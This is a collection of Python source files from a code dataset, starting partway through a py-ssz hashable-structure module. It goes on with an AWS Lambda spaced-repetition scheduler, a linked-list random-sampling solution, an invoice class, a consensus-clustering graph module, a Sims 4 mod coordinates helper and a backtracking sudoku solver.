self._appended_elements)\n\n    def persistent(self) -> TStructure:\n        if not self.is_dirty():\n            return self._original_structure\n\n        sedes = self._original_structure.sedes\n\n        num_original_elements = len(self._original_structure)\n        num_original_chunks = len(self._original_structure.chunks)\n        num_padding_elements = get_num_padding_elements(\n            num_original_elements=num_original_elements,\n            num_original_chunks=num_original_chunks,\n            element_size=sedes.element_size_in_tree,\n        )\n\n        updated_elements = {\n            index: sedes.serialize_element_for_tree(index, element)\n            for index, element in self._updated_elements.items()\n        }\n        appended_elements = [\n            sedes.serialize_element_for_tree(index, element)\n            for index, element in enumerate(\n                self._appended_elements, start=num_original_elements\n            )\n        ]\n\n        updated_chunks = get_updated_chunks(\n            updated_elements=updated_elements,\n            appended_elements=appended_elements,\n            original_chunks=self._original_structure.chunks,\n            num_original_elements=num_original_elements,\n            num_padding_elements=num_padding_elements,\n            element_size=sedes.element_size_in_tree,\n        )\n        appended_chunks = get_appended_chunks(\n            appended_elements=appended_elements,\n            element_size=sedes.element_size_in_tree,\n            num_padding_elements=num_padding_elements,\n        )\n\n        elements = self._original_structure.elements.mset(\n            *itertools.chain.from_iterable(  # type: ignore\n                self._updated_elements.items()\n            )\n        ).extend(self._appended_elements)\n        hash_tree = self._original_structure.hash_tree.mset(\n            *itertools.chain.from_iterable(updated_chunks.items())  # type: ignore\n        ).extend(appended_chunks)\n\n        return self._original_structure.__class__(\n            elements, hash_tree, self._original_structure.sedes\n        )\n\n\nclass BaseResizableHashableStructure(\n    BaseHashableStructure, ResizableHashableStructureAPI[TElement]\n):\n    def append(self: TResizableStructure, value: TElement) -> TResizableStructure:\n        evolver = self.evolver()\n        evolver.append(value)\n        return evolver.persistent()\n\n    def extend(\n        self: TResizableStructure, values: Iterable[TElement]\n    ) -> TResizableStructure:\n        evolver = self.evolver()\n        evolver.extend(values)\n        return evolver.persistent()\n\n    def __add__(\n        self: TResizableStructure, values: Iterable[TElement]\n    ) -> TResizableStructure:\n        return self.extend(values)\n\n    def __mul__(self: TResizableStructure, times: int) -> TResizableStructure:\n        if times <= 0:\n            raise ValueError(f\"Multiplication factor must be positive: {times}\")\n        elif times == 1:\n            return self\n        else:\n            return (self + self) * (times - 1)\n\n    def evolver(\n        self: TResizableStructure,\n    ) -> \"ResizableHashableStructureEvolverAPI[TResizableStructure, TElement]\":\n        return ResizableHashableStructureEvolver(self)\n\n\nclass ResizableHashableStructureEvolver(\n    HashableStructureEvolver, ResizableHashableStructureEvolverAPI[TStructure, TElement]\n):\n    def append(self, element: TElement) -> None:\n        max_length = self._original_structure.max_length\n        if max_length is not None and len(self) + 1 > max_length:\n            raise ValueError(f\"Structure would exceed maximum length {max_length}\")\n        self._appended_elements.append(element)\n\n    def extend(self, elements: Iterable[TElement]) -> None:\n        extension = list(elements)\n\n        max_length = self._original_structure.max_length\n        if max_length is not None and len(self) + len(extension) > max_length:\n            raise ValueError(f\"Structure would exceed maximum length {max_length}\")\n\n        self._appended_elements.extend(extension)\n","repo_name":"ethereum/py-ssz","sub_path":"ssz/hashable_structure.py","file_name":"hashable_structure.py","file_ext":"py","file_size_in_byte":14861,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"35"}
{"seq_id":"11908227270","text":"from __future__ import print_function\nimport json\nimport boto3\nfrom boto3.dynamodb.conditions import Key, Attr\nfrom decimal import Decimal\n\n\ndef lambda_handler(event, context):\n    dynamodb = boto3.resource('dynamodb')\n    users_word_list = dynamodb.Table('UserWordList')\n    print(event)\n\n    for record in event['Records']:\n        if 'NewImage' in record['dynamodb']:\n            grade = 0\n            currentUserID = record['dynamodb']['NewImage']['User_id']['S']\n            currentTimestamp = record['dynamodb']['NewImage']['Timestamp']['N']\n            currentCardID = record['dynamodb']['NewImage']['Card_id']['S']\n            currentTimeTaken = record['dynamodb']['NewImage']['Timetaken']['N']\n            currentCorrect = record['dynamodb']['NewImage']['Correct']['BOOL']\n\n            # initialize the parameters\n            rep = 1\n            ef = 2.50\n            interval = 1\n\n            # estimate current memory of the word\n            if currentCorrect == True:\n                if int(currentTimeTaken) <= 3:\n                    grade = 5\n                elif 3 < int(currentTimeTaken) <= 6:\n                    grade = 4\n                elif 7 <= int(currentTimeTaken) <= 9:\n                    grade = 3\n                else:\n                    grade = 2\n            else:\n                if int(currentTimeTaken) <= 6:\n                    grade = 0\n                else:\n                    grade = 1\n\n            print('Grade =====', grade)\n\n            response = users_word_list.query(\n                KeyConditionExpression=Key('Card_id').eq(currentCardID) & Key('User_id').eq(currentUserID)\n            )\n            items = response['Items']\n\n            print('# of records======', len(items))\n\n            if grade >= 3:\n                if len(items) == 0:\n                    # no record of this word\n                    interval = 1\n                    rep = 1\n                else:\n                    # found record of this word\n                    rep = int(items[0]['Repetition'])\n                    ef = float(items[0]['EF'])\n                    if rep == 1:\n                        interval = 6\n                        rep = 2\n                    else:\n                        interval == int(interval * ef)\n                        rep = rep + 1\n\n            print(\"rep===\", rep, 'ef=====', ef, 'intterval======', interval)\n            # caculate next ef\n            if len(items) != 0:\n                ef = float(items[0]['EF'])\n            ef = ef - 0.80 + 0.28 * grade - 0.02 * grade * grade\n            if ef < 1.3:\n                ef = 1.3\n                interval = int(items[0]['Intvl'])\n\n            print(\"rep===\", rep, 'ef=====', ef, 'interval======', interval)\n\n            # add the new schedule into user word list\n            response = users_word_list.update_item(\n                Key={\n                    'User_id': currentUserID,\n                    'Card_id': currentCardID\n                },\n                UpdateExpression=\"set Repetition = :r, EF=:e, Intvl=:i\",\n                ExpressionAttributeValues={\n                    ':r': Decimal(rep),\n                    ':e': Decimal(ef).quantize(Decimal('0.00')),\n                    ':i': Decimal(interval)\n                },\n                ReturnValues=\"UPDATED_NEW\"\n            )\n\n    print('Successfully processed %s records.' % str(len(event['Records'])))\n","repo_name":"LLeung49/senlin.io","sub_path":"lambda_function/revision_reschedule.py","file_name":"revision_reschedule.py","file_ext":"py","file_size_in_byte":3371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25608273529","text":"# coding=utf-8\n\n'''\nGiven a singly linked list, return a random node's value from the linked list.\nach node must have the same probability of being chosen.\n\nFollow up:\nWhat if the linked list is extremely large and its length is unknown to you?\nCould you solve this efficiently without using extra space?\n\nExample:\n\n// Init a singly linked list [1,2,3].\nListNode head = new ListNode(1);\nhead.next = new ListNode(2);\nhead.next.next = new ListNode(3);\nSolution solution = new Solution(head);\n\n// getRandom() should return either 1, 2, or 3 randomly.\nEach element should have equal probability of returning.\nsolution.getRandom();\n'''\n\n# 调随机模块就行,Beat 99.41%\n\n# Definition for singly-linked list.\n# class ListNode(object):\n#     def __init__(self, x):\n#         self.val = x\n#         self.next = None\n\nclass Solution(object):\n\n    def __init__(self, head):\n        \"\"\"\n        @param head The linked list's head.\n        Note that the head is guaranteed to be not null, so it contains at least one node.\n        :type head: ListNode\n        \"\"\"\n        self.length = 0\n        self.store = []\n        cur = head\n        while cur != None:\n            self.length += 1\n            tmp = cur\n            self.store.append(tmp)\n            cur = cur.next\n\n\n    def getRandom(self):\n        \"\"\"\n        Returns a random node's value.\n        :rtype: int\n        \"\"\"\n        seed = random.randint(0, self.length - 1)\n        # res = self.store[seed]\n        # res.next = None\n        return self.store[seed].val\n\n\n\n# Your Solution object will be instantiated and called as such:\n# obj = Solution(head)\n# param_1 = obj.getRandom()\n","repo_name":"sindwerra/Algorithms","sub_path":"Leetcode/Reservoir Sampling/#382-Linked List Random Node/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"35"}
{"seq_id":"69857123941","text":"import datetime\n\nfaktury = []\n\n\n\nclass Faktura:\n    def __init__(self, faktura, odesilatel, prijemce, splatnost, popis, cena):\n        self.cislo_faktury = faktura\n        self.odesilatel = odesilatel\n        self.prijemce = prijemce\n        self.datum_vystaveni = datetime.datetime.today()\n        self.datum_splatnosti = self.datum_vystaveni + datetime.timedelta(days=splatnost)\n        self.popis = popis\n        self.cena = cena\n\n    def __str__(self):\n        return self.cislo_faktury\n\nfaktura = Faktura(\"22FA-001\", \"Luboš Krameš\", \"Gating services a.s.\", 14, \"gfagfsdg\", \"30.000kč\")\n\n\nprint (faktura)","repo_name":"Goredron/python-project","sub_path":"Faktury.py","file_name":"Faktury.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"hr","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2362654703","text":"import numpy as np\nimport pandas as pd\nimport igraph as ig\nimport multires_consensus_clustering as mcc\nimport time\n\n\ndef multiresolution_graph(clustering_data, settings_data, list_resolutions, neighbour_based, single_resolution):\n    \"\"\"\n    Creates a multi-resolution graph based on the resolutions given in the list_resolutions.\n    Can either create a graph where all resolution vertices are connected or only the neighbouring resolutions are connected.\n\n    @param settings_data: Settings data about the clusters.\n    @param clustering_data: The cluster data.\n    @param neighbour_based: Boolean to decided on the way to connect the vertices across resolutions.\n    @param list_resolutions: The list containing the different resolutions, e.g. [3,5,9,20, ... ] or \"all\"\n    @param single_resolution: Resolution Parameter for the meta-graph (leiden community detection resolution parameter)\n    @return: The mulit-graph as a iGraph graph.\n    \"\"\"\n\n    # set maximum level for hierarchy plot\n    len_list_resolutions = len(list_resolutions)\n    level_count = len_list_resolutions + 1\n\n    # check if list resolution contains less the two resolutions\n    if len_list_resolutions <= 1:\n        print(\"More then one resolution needed for multi resolution graph.\")\n\n        return mcc.meta_graph(clustering_data, settings_data, list_resolutions[0], single_resolution)\n\n    # create the multi graph\n    else:\n        if list_resolutions == \"all\":\n            bins_clusterings = mcc.bin_n_clusters(settings_data[\"n_clusters\"])\n            list_resolutions = [int(first_number_clusters[0]) for first_number_clusters in bins_clusterings]\n        else:\n            # sort resolution list in cases not sorted\n            list_resolutions.sort()\n\n        # create first graph and assign the level\n        resolution_1 = mcc.meta_graph(clustering_data, settings_data, list_resolutions[0], single_resolution)\n        resolution_1.vs[\"level\"] = [level_count] * resolution_1.vcount()\n\n        # create new attribute to save the cell probabilities in a meta node\n        probability_df = mcc.graph_nodes_cells_to_df(resolution_1, clustering_data)\n        resolution_1.vs[\"probability_df\"] = [probability_df[column].values for column in probability_df.columns]\n\n        resolution_1.vs[0][\"cell_index\"] = probability_df.index.tolist()\n\n        # delete all edges of the old graph\n        mcc.delete_edges_single_resolution(resolution_1)\n\n        # change level count\n        level_resolution_2 = level_count - 1\n\n        # select all resolutions except the first\n        list_resolutions = list_resolutions[1:]\n\n        # create multi-graph using the rest of the list_resolutions\n        for resolution in list_resolutions:\n\n            # create graph and assign the level\n            resolution_2 = mcc.meta_graph(clustering_data, settings_data, resolution, single_resolution)\n            resolution_2.vs[\"level\"] = [level_resolution_2] * resolution_2.vcount()\n\n            # delete all edges of the old graph\n            mcc.delete_edges_single_resolution(resolution_2)\n\n            # create multi graph based on neighbours or connect all vertices\n            if neighbour_based:\n                resolution_1 = mcc.merge_two_resolution_graphs(resolution_1, resolution_2,\n                                                               current_level=level_resolution_2 + 1,\n                                                               neighbours=True, clustering_data=clustering_data)\n            else:\n                # connect all vertices\n                resolution_1 = mcc.merge_two_resolution_graphs(resolution_1, resolution_2, current_level=None,\n                                                               neighbours=False, clustering_data=clustering_data)\n\n            # set level for next graph\n            level_resolution_2 -= 1\n\n        # return the final multi-graph\n        return resolution_1\n\n\ndef delete_edges_single_resolution(graph):\n    \"\"\"\n    Deletes all edges with an edge weight above 0 -> these are all edges of the graph.\n    @param graph: The given graph, iGraph graph.\n    @return: The graph without edges; only vertices with attributes\n    \"\"\"\n\n    return graph.delete_edges()\n\n\ndef merge_two_resolution_graphs(graph_1, graph_2, current_level, neighbours, clustering_data):\n    \"\"\"\n    Merges two graphs;\n    Either connects all vertices or only the bins neighbouring each other. All edges are based on the jaccard-index.\n\n    @param clustering_data: The clustering data from which the meta graphs are build.\n    @param neighbours: Connects all vertices or only neighbouring resolutions; Boolean\n    @param current_level: The level of the last added vertices.\n        Need so the new vertices are only connected to the latest vertices and not all.\n    @param graph_1: The first graph, iGraph graph.\n    @param graph_2: The second graph, iGraph graph.\n    @return: The merged graph.\n    \"\"\"\n\n    # create edge lists\n    edge_list, edge_weights = [], []\n\n    # to check the graph merger visually\n    graph_1.vs[\"graph\"] = [1] * graph_1.vcount()\n    graph_2.vs[\"graph\"] = [2] * graph_2.vcount()\n\n    # add cell probability to the second graph with is added in the new layer (level)\n    probability_df = mcc.graph_nodes_cells_to_df(graph_2, clustering_data)\n    graph_2.vs[\"probability_df\"] = [probability_df[column].values for column in probability_df.columns]\n\n    # creates a graph based on the two given resolutions\n    graph = graph_1.disjoint_union(graph_2)\n\n    # connects vertices based on neighbouring resolutions.\n    if neighbours:\n        for vertex_1 in graph.vs.select(graph=1):\n            for vertex_2 in graph.vs.select(graph=2):\n                # connects only bins next to each other\n                if vertex_1[\"level\"] == current_level and vertex_2[\"level\"] == current_level - 1:\n                    # calculate edge weight\n                    edge_weight = mcc.weighted_jaccard(vertex_1[\"probability_df\"], vertex_2[\"probability_df\"])\n\n                    # if the edge_weight is greater 0 the edge is added\n                    if edge_weight != 0:\n                        edge_list.append((vertex_1, vertex_2))\n                        edge_weights.append(edge_weight)\n\n    # connects all vertices\n    else:\n        for vertex_1 in graph.vs.select(graph=1):\n            for vertex_2 in graph.vs.select(graph=2):\n                # calculate edge weight\n                # edge_weight = mcc.jaccard_index_two_vertices(vertex_1, vertex_2)\n                edge_weight = mcc.weighted_jaccard(vertex_1[\"probability_df\"], vertex_2[\"probability_df\"])\n\n                # if the edge_weight is greater 0 the edge is added\n                if edge_weight != 0:\n                    edge_list.append((vertex_1, vertex_2))\n                    edge_weights.append(edge_weight)\n\n    # add edges to the graph\n    graph.add_edges(edge_list)\n\n    # add edge weights to the graph\n    graph.es[\"weight\"] = edge_weights\n\n    return graph\n\n\ndef reconnect_graph(graph):\n    \"\"\"\n    Reconnects the graph. Useful if after merging the graph is just a set of separated nodes.\n\n    @param graph: The graph, in the ideal case a set of discrete nodes.\n    @return: The connected graph. Edges are chosen that in the end the graph has a tree structure,\n        based on the level of the nodes.\n    \"\"\"\n\n    # check if graph has more than one level\n    if len(set(graph.vs[\"level\"])) != 1:\n        # if the graph has more then one level a tree structure can be created, using the resolution of the graphs\n        for vertex_1 in graph.vs:\n            level_vertex_1 = vertex_1[\"level\"]\n            for vertex_2 in graph.vs:\n                if vertex_1 != vertex_2:\n                    # connects only bins next to each other\n                    if vertex_2[\"level\"] < level_vertex_1:\n                        # calculate edge weight\n                        edge_weight = mcc.weighted_jaccard(vertex_1[\"probability_df\"], vertex_2[\"probability_df\"])\n\n                        # if the edge_weight is greater 0 the edge is added\n                        if edge_weight != 0:\n                            index_1 = vertex_1.index\n                            index_2 = vertex_2.index\n                            graph.add_edge(index_1, index_2, weight=edge_weight)\n\n                        # check if better edge is available for tree structure\n                        edge_list_vertex_2 = vertex_2.all_edges()\n\n                        # if the vertex has only one edge no better is available\n                        if len(edge_list_vertex_2) > 1:\n                            edges_to_delete = []\n                            current_best_weight = 0\n                            current_best_edge = None\n\n                            for edge in edge_list_vertex_2:\n                                edges_to_delete.append(edge)\n                                edge_weight = edge[\"weight\"]\n\n                                # only check edge going from a lower resolution to a higher resolution -> tree structure\n                                if graph.vs[edge.target][\"level\"] < vertex_2[\"level\"]:\n                                    edges_to_delete.pop(len(edges_to_delete) - 1)\n                                else:\n                                    # choose the edge with the best edge weight\n                                    if edge_weight > current_best_weight:\n                                        edges_to_delete.pop(len(edges_to_delete) - 1)\n                                        if current_best_edge is not None:\n                                            edges_to_delete.append(current_best_edge)\n                                        current_best_weight = edge_weight\n                                        current_best_edge = edge\n\n                                    # if the edges have the same edge weight choose the higher resolution one\n                                    elif edge_weight == current_best_weight:\n                                        last_edge = edges_to_delete.pop(len(edges_to_delete) - 1)\n                                        if graph.vs[last_edge.target][\"level\"] > graph.vs[edge.target][\"level\"]:\n                                            edges_to_delete.append(last_edge)\n                                        else:\n                                            edges_to_delete.append(edge)\n\n                            graph.delete_edges(edges_to_delete)\n\n    # otherwise returns the maximum spanning tree\n    else:\n        # calculate all edge weights for every vertex in the graph\n        for vertex_1 in graph.vs:\n            for vertex_2 in graph.vs:\n                if vertex_1 != vertex_2:\n                    # calculate edge weight\n                    edge_weight = mcc.weighted_jaccard(vertex_1[\"probability_df\"], vertex_2[\"probability_df\"])\n\n                    # if the edge_weight is greater 0 the edge is added\n                    if edge_weight != 0:\n                        index_1 = vertex_1.index\n                        index_2 = vertex_2.index\n                        graph.add_edge(index_1, index_2, weight=edge_weight)\n\n        # invert edge weights\n        inverted_weights = [1 - edge_weight for edge_weight in graph.es[\"weight\"]]\n\n        # create the minimum spanning tree using the inverted edge weight -> maximum spanning tree\n        graph = graph.spanning_tree(weights=inverted_weights, return_tree=True)\n\n    return graph\n\n\ndef multires_community_detection(graph, clustering_data, community_detection, multi_resolution):\n    \"\"\"\n    Uses louvain community detection on the multi-resolution graph and creates a clustering tree with reconnect_graph.\n    Optional clean up of the clustering tree with edge merging.\n\n    @param multi_resolution: Resolution parameter for the community detection function.\n    @param clustering_data: The clustering data on which the graph is based\n    @param community_detection: \"leiden\", \"hdbscan\" or else automatically louvain,\n        detects community with the named algorithms\n    @param graph: The multi resolution graph, iGraph graph.\n    @return: A clustering tree, igraph Graph.\n    \"\"\"\n\n    # apply probability outlier detection to the graph\n    graph = mcc.filter_by_node_probability(graph)\n\n    # community detection\n    if community_detection == \"leiden\":\n        # uses the leiden algorithm for community detection\n        vertex_clustering = ig.Graph.community_leiden(graph, weights=\"weight\", resolution_parameter=multi_resolution)\n    elif community_detection == \"hdbscan\" and graph.vcount() > 1 and graph.ecount() > 0:\n        # use hdbscan for community detection\n        vertex_clustering = mcc.hdbscan_community_detection(graph)\n    else:\n        # if nothing is selected uses louvain community detection\n        vertex_clustering = ig.Graph.community_multilevel(graph, weights=\"weight\")\n\n    # combines attributes to a list\n    graph = mcc.merge_by_list(vertex_clustering)\n\n    # recalculate the probabilities based on the new merged nodes\n    new_probabilities = mcc.graph_nodes_cells_to_df(graph, clustering_data)\n    graph.vs[\"probability_df\"] = [new_probabilities[column].values for column in new_probabilities.columns]\n\n    # delete edges and create graph tree structure if there is more than one node\n    if graph.vcount() != 1:\n        graph.delete_edges()\n        graph = reconnect_graph(graph)\n\n        if graph.ecount() > 0:\n            # calculate max and min edge weights\n            max_edge = max(graph.es[\"weight\"])\n            min_edge = min(graph.es[\"weight\"])\n\n            # calculate max-min average\n            max_min_average = (max_edge + min_edge) / 2\n\n            # set the upper quantile for the merge edges threshold\n            merge_edges_threshold = (max_edge + max_min_average) / 2\n\n            # clean up graph by merging some edges\n            graph = mcc.merge_edges_weight_above_threshold(graph, threshold=merge_edges_threshold)\n\n            # recalculate the probabilities based on the new merged nodes\n            new_probabilities = mcc.graph_nodes_cells_to_df(graph, clustering_data)\n            graph.vs[\"probability_df\"] = [new_probabilities[column].values for column in new_probabilities.columns]\n\n            # check if graph has more then vertices, if so recalculates the edges\n            if graph.vcount() != 1:\n                graph.delete_edges()\n                graph = reconnect_graph(graph)\n\n    return graph\n","repo_name":"theislab/multires-consensus-clustering","sub_path":"multires_consensus_clustering/merge_resolution_graphs.py","file_name":"merge_resolution_graphs.py","file_ext":"py","file_size_in_byte":14390,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"41202849042","text":"import placement\nimport services\nimport sims4.math\nimport sims4.random\nfrom objects.object_enums import ResetReason\nfrom placement import create_starting_location\nfrom routing import get_routing_surface_at_or_below_position, SurfaceType, SurfaceIdentifier\nfrom sims4.tuning.tunable import HasTunableSingletonFactory, AutoFactoryInit, Tunable\n\nDEFAULT_ON_LOT_SEARCH_FLAGS = placement.FGLSearchFlag.CALCULATE_RESULT_TERRAIN_HEIGHTS | placement.FGLSearchFlag.DONE_ON_MAX_RESULTS | placement.FGLSearchFlag.STAY_OUTSIDE | placement.FGLSearchFlag.STAY_IN_LOT\n\n\nclass TunableCoordinates(HasTunableSingletonFactory, AutoFactoryInit):\n    FACTORY_TUNABLES = {\n        'x': Tunable(\n            tunable_type=float,\n            default=None,\n            allow_empty=True,\n        ),\n        'z': Tunable(\n            tunable_type=float,\n            default=None,\n            allow_empty=True,\n        ),\n    }\n\n    __slots__ = ('x', 'z',)\n\n    @classmethod\n    def create_from_target(cls, obj):\n        return cls.create_from_position(obj.position)\n\n    @classmethod\n    def create_from_position(cls, position):\n        return cls(x=position.x, z=position.z)\n\n    def move_sim_to(self, sim, facing_coordinates=None):\n        orientation = self._get_orientation(facing_coordinates)\n        location = self._get_location(orientation)\n\n        sim.routing_component.on_slot = None\n        sim.set_location(location)\n        sim.reset(ResetReason.RESET_EXPECTED, None, 'Command')\n        return True\n\n    def move_object_to(self, obj, facing_coordinates=None, use_fgl=False, search_flags=DEFAULT_ON_LOT_SEARCH_FLAGS):\n        orientation = self._get_orientation(facing_coordinates)\n\n        if use_fgl:\n            location = self._get_starting_location()\n            fgl_context = placement.create_fgl_context_for_object(location, obj, search_flags=search_flags)\n            (position, _, _) = fgl_context.find_good_location()\n        else:\n            location = self._get_location(orientation)\n            position = location.transform.translation\n\n        if position is None:\n            return False\n        obj.move_to(translation=position, orientation=orientation, routing_surface=location.routing_surface)\n        obj.reset(ResetReason.RESET_EXPECTED)\n        return True\n\n    def move_object_to_off_lot(self, obj, facing_coordinates=None, use_fgl=False, max_distance=3):\n        orientation = self._get_orientation(facing_coordinates)\n        use_world_routing_surface = True\n        if use_fgl:\n            self.set_object_location(obj, orientation, use_world_routing_surface=use_world_routing_surface)\n            location = self.get_starting_location(use_world_routing_surface=use_world_routing_surface)\n            fgl_context = placement.create_fgl_context_for_object_off_lot(location, obj, max_distance=max_distance)\n            (position, _, _) = fgl_context.find_good_location()\n        else:\n            location = self.get_location(orientation, use_world_routing_surface=use_world_routing_surface)\n            position = location.transform.translation\n\n        if position is None:\n            return False\n\n        obj.move_to(translation=position, orientation=orientation, routing_surface=location.routing_surface)\n        obj.reset(ResetReason.RESET_EXPECTED)\n        return True\n\n    def _get_y_axis(self):\n        return services.terrain_service.terrain_object().get_height_at(self.x, self.z)\n\n    def _get_position(self):\n        return sims4.math.Vector3(self.x, self._get_y_axis(), self.z)\n\n    def _get_routing_surface(self):\n        position = self._get_position()\n        return get_routing_surface_at_or_below_position(position)\n\n    def _get_world_routing_surface(self):\n        return SurfaceIdentifier(services.current_zone_id(), 0, SurfaceType.SURFACETYPE_WORLD)\n\n    def _get_starting_location(self, use_world_routing_surface=False):\n        position = self._get_position()\n        routing_surface = self._get_world_routing_surface() if use_world_routing_surface else self._get_routing_surface()\n        return create_starting_location(position=position, routing_surface=routing_surface)\n\n    def _get_orientation_to_position(self, target_position):\n        starting_position = self._get_position()\n        vec_to_target = starting_position - target_position\n        theta = sims4.math.vector3_angle(vec_to_target)\n        return sims4.math.angle_to_yaw_quaternion(theta)\n\n    def _get_transform(self, orientation):\n        starting_location = self._get_starting_location()\n        return sims4.math.Transform(starting_location.position, orientation)\n\n    def _get_orientation(self, facing_coordinates=None):\n        if facing_coordinates:\n            facing_position = facing_coordinates.get_position()\n            return self._get_orientation_to_position(facing_position)\n        else:\n            return sims4.random.random_orientation()\n\n    def _get_location(self, orientation, use_world_routing_surface=False):\n        transform = self._get_transform(orientation)\n        routing_surface = self._get_world_routing_surface() if use_world_routing_surface else self._get_routing_surface()\n        return sims4.math.Location(transform, routing_surface)\n\n    def _set_object_location(self, obj, orientation, use_world_routing_surface=False):\n        obj.location = self._get_location(orientation, use_world_routing_surface=use_world_routing_surface)\n","repo_name":"lot51/core-library","sub_path":"tunables/coordinates.py","file_name":"coordinates.py","file_ext":"py","file_size_in_byte":5373,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"40204073564","text":"#! /usr/bin/python3\n\nimport sys\nimport time\nimport copy\n\n#for the stack\nclass SaveState:\n    def __init__(self, index, possibilities, board):\n        self.index = index\n        self.possibilities = possibilities\n        self.board = board\n\n\n#globals\nCliques=[[0,1,2,3,4,5,6,7,8],[9,10,11,12,13,14,15,16,17],[18,19,20,21,22,23,24,25,26],[27,28,29,30,31,32,33,34,35],[36,37,38,39,40,41,42,43,44],[45,46,47,48,49,50,51,52,53],[54,55,56,57,58,59,60,61,62],[63,64,65,66,67,68,69,70,71],[72,73,74,75,76,77,78,79,80],[0,9,18,27,36,45,54,63,72],[1,10,19,28,37,46,55,64,73],[2,11,20,29,38,47,56,65,74],[3,12,21,30,39,48,57,66,75],[4,13,22,31,40,49,58,67,76],[5,14,23,32,41,50,59,68,77],[6,15,24,33,42,51,60,69,78],[7,16,25,34,43,52,61,70,79],[8,17,26,35,44,53,62,71,80],[0,1,2,9,10,11,18,19,20],[3,4,5,12,13,14,21,22,23],[6,7,8,15,16,17,24,25,26],[27,28,29,36,37,38,45,46,47],[30,31,32,39,40,41,48,49,50],[33,34,35,42,43,44,51,52,53],[54,55,56,63,64,65,72,73,74],[57,58,59,66,67,68,75,76,77],[60,61,62,69,70,71,78,79,80]]\n\nNeighbors = {}  # key is cell-id, value is set of neighbors.  Neighbors[2] = set(0,1,3,4,5,6,7,8,11,20,29,38,47,56,65,74,9,10,18,19)\nBoards = {}  # all boards read in\nallVals = set([1,2,3,4,5,6,7,8,9])\n\n#make Neighbors\ndef makeNeighbors():\n    global Neighbors, Cliques\n    for cell in range(81):\n        nb = set()\n        for clique in Cliques:\n            if cell in clique:\n                nb.update(clique) #add all the values from that clique, but ofc no repatitions\n        nb.discard(cell) #you shouldn't be checking if that cell itself == value of that cell\n        Neighbors[cell] = nb #now add this buffer to the dictionary\n\n#to check if my resulting board is actually correct\ndef getIncorrect(board):\n    global Neighbors\n    # returns a list of the positions on this board whose values are incorrect\n    inc = []\n    for pos in range(len(board)):\n        val = board[pos] #this is the value of that cell\n        for neighbor in Neighbors[pos]:\n            if board[neighbor] == val: #if in that cell's neighbors there is a duplicate\n                inc.append(pos) #mark this cell as problematic. then when this goes through again, the duplicate will be marked as problematic\n                break\n    return inc\n\ndef loadBoards(argv = None):\n    global Boards\n    if not argv:\n        argv = sys.argv\n    with open(argv[1], 'r') as f_in:\n        lines = f_in.read().split('\\n')\n        i = 0\n        while i<len(lines):\n            if (len(lines[i].split(',')) == 3): #so that's the name of our board\n                name = lines[i].split(',') #aka so if it's titled \"A1-1, NYTIMES, Easy\", that's th name but as a list\n                #print(\"processing \" + name[0]);\n                newboard = []\n                for j in range(i+1, i+10):\n                    buffer = lines[j].split(',')\n                    for num in range(9):\n                        try:\n                            newboard.append(int(buffer[num]))\n                        except: #aka if the position is a '_'\n                            newboard.append(0)\n                Boards[name[0]] = newboard\n                i+=9\n            else:\n                i+=1\n\ndef make_p(index, board):\n    global Neighbors, allVals\n    possibilities = list(allVals)\n    for pos in Neighbors[index]:\n        if board[pos] in possibilities:\n            possibilities.remove(board[pos])\n    return possibilities\n\ndef printBoard(title,b):\n    print(title)\n    for row in range(9):\n        arow = []\n        for col in range(9):\n            arow.append(str(b[9*row+col])) #like, at first row == 0. so first append(b[9*0+0]), then append(b[9*0+1]) etc\n        print(','.join(arow)) #print row by row\n    print() #print blank space\n\ndef fill_output(argv, board):\n    with open(argv[2], 'w') as f_out:\n        #f_out.write(\"for \"+argv[3]+'\\n')\n        for row in range(9):\n            arow = []\n            for col in range(9):\n                arow.append(str(board[9*row+col])) #like, at first row == 0. so first append(b[9*0+0]), then append(b[9*0+1]) etc\n            f_out.write(','.join(arow) + '\\n') #print row by row\n\n\ndef main(argv = None):\n    #note args like this: arg[0]:program arg[1]:input arg[2]:output arg[3]:name of board to solve\n    start_time = time.time()\n    #SETTING UP BOARD WE'RE GONNA SOLVE\n    global Boards, Neighbors\n    if not argv:\n        argv = sys.argv\n    loadBoards(argv)\n    makeNeighbors()\n    board = Boards[argv[3]]\n    #print(Boards[toSolve])\n\n    #Now SOLVE\n    myStack = [] #we'll just use append and pop to treat this like a stack\n    i = 0\n    backtrack = False\n    numtrials = 0\n    numbacks = 0\n    possibilities = []\n    while i < len(board):\n        #first check if it needs to be switched -- remember if you're gonna backtrack, set the value of board[prev_index] to 0!\n        if board[i] == 0:\n            #print(\"board[%d] == 0\"%i)\n            #make possibilities, only if you're not backtracking otherwise you already have possibilities\n            if not backtrack:\n                possibilities = make_p(i, board)\n                #print(\"for index %d, possibilities:\"%i)\n                #print(possibilities)\n            if len(possibilities) > 1:\n                #add to stack BEFORE YOU MAKE ANY ADJUSTMENTS (so that when you backtrack, you don't have to overwrite)\n                save = SaveState(i, possibilities[:-1], board[:])\n                myStack.append(save)\n                #add first possibility\n                board[i] = possibilities.pop() #this way the list shortens on its own\n                backtrack = False\n                i+=1\n            elif len(possibilities) == 1: #aka forced\n                board[i] = possibilities.pop() #no reason to save, bc can't change this decision\n                backtrack = False\n                i+=1\n            else: #you have nothing to do, back track\n                saved = myStack.pop()\n                i = saved.index\n                possibilities = saved.possibilities\n                board = saved.board\n                backtrack = True\n                numbacks+=1\n        else:\n            i+=1\n\n        numtrials+=1\n    #hey! finished the board\n    #checking...\n    numwrong = getIncorrect(board)\n    if len(numwrong)>0:\n        print(\"did not pass check\")\n    else:\n        print(\"board is correct!\")\n    ttime = time.time() - start_time\n    fill_output(argv, board)\n    print(\"numtrials: %d, numbacktracks: %d, time elapsed: %f\"%(numtrials, numbacks, ttime))\n    return 0\nmain()\n","repo_name":"almathaler/sudoku_solver","sub_path":"ss/naive_solver.py","file_name":"naive_solver.py","file_ext":"py","file_size_in_byte":6480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
